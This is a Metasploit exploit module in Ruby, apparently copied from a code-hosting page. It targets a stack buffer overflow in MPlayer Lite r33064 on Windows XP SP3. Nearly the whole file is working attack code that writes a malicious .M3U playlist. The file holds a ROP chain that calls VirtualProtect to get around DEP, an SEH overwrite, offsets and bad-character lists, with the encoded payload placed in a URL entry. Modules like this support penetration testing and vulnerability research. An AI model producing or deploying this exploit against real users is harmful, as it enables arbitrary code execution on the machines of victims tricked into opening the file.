117 lines
3.6 KiB
Ruby
117 lines
3.6 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = AverageRanking
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include Msf::Exploit::FILEFORMAT
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include Msf::Exploit::Seh
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'MPlayer Lite M3U Buffer Overflow',
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'Description' => %q{
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This module exploits a stack-based buffer overflow vulnerability in
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MPlayer Lite r33064, caused by improper bounds checking of an URL entry.
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By persuading the victim to open a specially-crafted .M3U file, specifically by
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drag-and-dropping it to the player, a remote attacker can execute arbitrary
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code on the system.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'C4SS!0 and h1ch4m', # Vulnerability discovery and original exploit
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'Gabor Seljan', # Metasploit module
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],
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'References' =>
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[
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[ 'BID', '46926' ],
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[ 'EDB', '17013' ],
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[ 'URL', 'http://www.mplayer-ww.com/eng/' ]
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread'
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},
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'Platform' => 'win',
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'Payload' =>
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{
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'BadChars' => "\x00\x20\x0d\x0a\x1a\x2c\x2e\x26\x2f\x3a\x3e\x3f\x5c",
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'Space' => 5040
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},
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'Targets' =>
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[
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[ 'Windows XP SP3 (DEP Bypass) / MPlayer Lite r33064',
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{
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'Offset' => 21,
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'Ret' => 0x649a7bbe # ADD ESP,64C # PPPR [avformat-52.dll]
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}
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],
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],
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'Privileged' => false,
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'DisclosureDate' => 'Mar 19 2011',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u'])
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],
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self.class)
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end
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def junk
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return rand_text_alpha(4).unpack("V").first
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end
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def nops
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return make_nops(4).unpack("V").first
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end
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def exploit
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# ROP chain generated by mona.py - See corelan.be
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rop_gadgets =
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[
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0x6ad9d85d, # POP EBP # RETN [avcodec-52.dll]
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0x10018fc3, # &CALL ESP [unrar.dll]
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0x64984a70, # POP EAX # RETN [avformat-52.dll]
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0xffffec4f, # Value to negate, will become 0x00005040
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0x6b0ce791, # NEG EAX # RETN [avcodec-52.dll]
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0x6b063c7d, # PUSH EAX # POP EBX # POP ESI # POP EDI # RETN [avcodec-52.dll]
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junk,
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junk,
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0x1001d154, # POP EAX # RETN [unrar.dll]
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0x77e71210, # &VirtualProtect() [IAT RPCRT4.dll]
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0x64987f7f, # MOV EAX,DWORD PTR DS:[EAX] # RETN [avformat-52.dll]
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0x6afcdc68, # XCHG EAX,ESI # RETN [avcodec-52.dll]
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0x6b02836d, # POP EAX # RETN [avcodec-52.dll]
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0xffffffc0, # Value to negate, will become 0x00000040
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0x6b0ce791, # NEG EAX # RETN [avcodec-52.dll]
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0x6af79d80, # XCHG EAX,EDX # RETN [avcodec-52.dll]
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0x1001bad6, # POP ECX # RETN [unrar.dll]
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0x649eab48, # &Writable location [avformat-52.dll]
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0x6d7c0bb7, # POP EDI # RETN [swscale-0.dll]
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0x6b03d722, # RETN (ROP NOP) [avcodec-52.dll]
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0x64984a70, # POP EAX # RETN [avformat-52.dll]
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nops,
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0x6d7c57d1 # PUSHAD # RETN [swscale-0.dll]
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].flatten.pack('V*')
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sploit = rand_text_alpha_upper(target['Offset'])
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sploit << rop_gadgets
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sploit << payload.encoded
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sploit << generate_seh_record(target.ret)
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sploit << rand_text_alpha_upper(1000) # Generate exception
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# Create the file
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print_status("Creating '#{datastore['FILENAME']}' file ...")
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file_create("http://" + sploit)
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end
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end
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